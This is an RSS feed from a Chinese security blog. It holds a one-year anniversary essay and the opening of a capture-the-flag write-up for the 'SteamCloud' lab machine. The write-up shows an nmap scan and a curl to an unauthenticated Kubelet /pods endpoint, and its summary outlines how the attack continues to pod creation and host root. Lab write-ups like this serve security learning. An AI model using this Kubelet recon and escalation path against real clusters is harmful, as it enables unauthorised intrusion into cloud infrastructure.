BushSEC的被窝 - 云安全
type: channel
link: https://bushsec.cn/category/%E4%BA%91%E5%AE%89%E5%85%A8/
items: 一周年随笔 置顶
items: SteamCloud：从Kubelet匿名访问到Pod提权的云原生攻防

一周年随笔 置顶
type: item
date: 2025-07-20T10:30:00+08:00
description: AI摘要：博客迎来一周年，作者回顾了这一年来的成长与收获。最初只是作为个人备忘录，后来演变成与世界的对话，记录技术、成长和生活。作者分享了实战笔记、命令解析、项目实践，感谢读者的陪伴，并表示会继续更新，记录学习和热爱。算算时间，本站也即将迎来其一周岁生日了，具体来说，现在，也就是本文的发布时间，距离它的生日还有十天左右的时间截止到目前，本站点总访问量已达到23524次一年前的今天，我在键盘前敲下了第一篇文章。没有想着它会被谁看到，也没有想过能坚持多久。只是觉得，该给自己一个地方了，去记录、去分享。现在回头看，这一年，一点点地写下了自己的成长、学习、折腾，也把一路上的困惑与收获，一起摆到了台面上。这个地方，不大，却真诚。写博客，是一场与自己的对话起初写博客，其实是想给自己一个“备忘录”式的空间。学到了什么、踩了什么坑、配置失败了几次，写下来，至少不再忘记。但慢慢地，我发现它变了味——写着写着，不再是单向的存档，而变成了和这个世界的对话。有时候是一篇文章带来了远方读者的留言，有时候是别人遇到同样的问题来找我讨论。也有时候，深夜里写下一段技术分析时，我会突然想起自己刚接触网络安全那会儿的懵懂与热情。写博客，不只是为了记录技术，更是记录成长。写下的是命令、工具和漏洞细节，但藏着的是一次次尝试、放弃、再试和终于成功的过程。这一年，写过、学过、也很认真活过这一年，我做过很多尝试：用心整理了好几篇实战笔记，Web安全，进程注入等等写下了几十条命令、工具解析、CTF学习记录；这一年也折腾了不少项目：杀软识别网站、CVE 监控平台、威胁情报平台……虽然它们不复杂，但每次搭完上线，看到有人用、有人点了 Star，都会觉得特别值得。如今，我已将这三个项目统一集成到博客的「安全服务」页面，方便集中展示与访问。它们串联起来，拼出了我一年里的模样。不完美，但继续走这一年里，我也拖更过，也卡过，也写到一半觉得写不下去了。不是为了谁，也不是要成为技术大牛，就是不想白走一遭。有时候我翻回自己3个月前写的东西，会觉得“当时还真是不会啊”，但这不就是成长吗？回忆想起刚刚接触网安的时候应该是在初中，当时的我比较叛逆吧，也是在那个时候，搓出了人生中第一个所谓的木马-键盘记录器，用于盗取被父母换过密码我原本笔记本电脑的密码（逃我的老师人的一生总会遇到几位恩师吧，总是会让我有意无意的想起之前的老师小学的教导主任兼数学老师鲁老师初中班主任兼语文老师谭老师这几位老师给我的印象，也都非常不错小学比较叛逆吧，也算是鲁老师给我打服的哈哈初中是一个转折点，初中的我相较于小学更加叛逆（逃），但谭老师是我见过最负责最好的一位老师，既是恩师亦是益友，即能为我指出错误也会与我进行谈心，是叛逆的我和父母的沟通桥梁，是我们班最有威信的老师，我们班的同学都对她心服口服，在我们班包括整个学校风评最好，没有之一，是我在叛逆期中唯一信服的人，也是最令我敬佩的一位老师。谢谢这一路有人相伴我知道，很多时候写博客是一件孤独的事。尤其是写技术类的内容，不是所有人都感兴趣，也不是每篇都能被看到。但即便如此，我还是很幸运。因为这一年里，我遇到了很多温暖的人谢谢你们，谢谢还在阅读这些文字的你。是你们，让这个小站从“一个人的记事本”变成了“有人在看的地方”。写给现在的自己，也写给未来现在的我，依然会担心写得不够好，会犹豫要不要发布某些文字。但我开始相信，真实和热爱，终究会被理解。“慢慢理解世界，慢慢更新自己。”一年了，还不算长，但已经很好。感谢自己没有中途放弃，感谢朋友们始终相伴，感谢还有人在点进来读这些字。🎂 Happy 1st Anniversary to This Blog不知未来会如何，但我知道，只要我还在学习、在热爱，这个博客就还会继续更新。日更也好，月更也罢，只要是出于喜欢，那就值得。不是所有文字都为别人写，有些，是写给时间里的自己。一年很短，一年很长。感谢你走过来，也感谢我自己没放弃。下一个周年，咱们不见不散。愿我们心中的赤诚永不熄灭。—— BushSEC2025-07-20

SteamCloud：从Kubelet匿名访问到Pod提权的云原生攻防
type: item
date: 2025-09-13T13:07:00+08:00
description: AI摘要：本次云原生渗透测试利用了**Kubelet匿名访问**漏洞，成功从一个普通用户Pod提权并最终获取了主机的root权限。攻击过程包括信息侦察、利用Kubelet未授权访问、获取服务令牌、创建恶意Pod以及最终读取Flag。攻击机ip：10.10.16.3靶机IP：10.10.11.133首先nmapnmap -p- --min-rate 10000 -oA scans/nmap-alltcp得到结果Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 09:34 CST Nmap scan report for 10.10.11.133 Host is up (0.42s latency). Not shown: 65528 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 2379/tcp open etcd-client 2380/tcp open etcd-server 8443/tcp open https-alt 10249/tcp open unknown 10250/tcp open unknown 10256/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 10.36 secondsSSH 默认端口为 22。Etcd 是一个 Kubernetes 组件，客户端监听端口为 2379，服务器端口为 2380。Kubelet 是一个 Kubernetes 扩展，默认监听端口为 10250，Kubernetes API 监听端口为 8443。让我先来看看 Kubernetes API，它在 8443 端口上可访问。首先尝试访问Kubernetes API Server（8443端口），检查是否存在未授权访问：访问“https://10.10.11.133:8443”发现403{ "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"", "reason": "Forbidden", "details": { }, "code": 403 }输出显示我们无法在未经身份验证的情况下访问主目录，因此让我们继续查看监听在 10250 端口上的 Kubelet 服务。curl https://10.10.11.133:10250/pods -k {"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-controller-manager-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-controller-manager-steamcloud","uid":"be2478237d1af444b624cb01f51f79c4","creationTimestamp":null,"labels":{"component":"kube-controller-manager","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"be2478237d1af444b624cb01f51f79c4","kubernetes.io/config.seen":"2025-09-12T21:29:29.748824313-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"flexvolume-dir","hostPath":{"path":"/usr/libexec/kubernetes/kubelet-plugins/…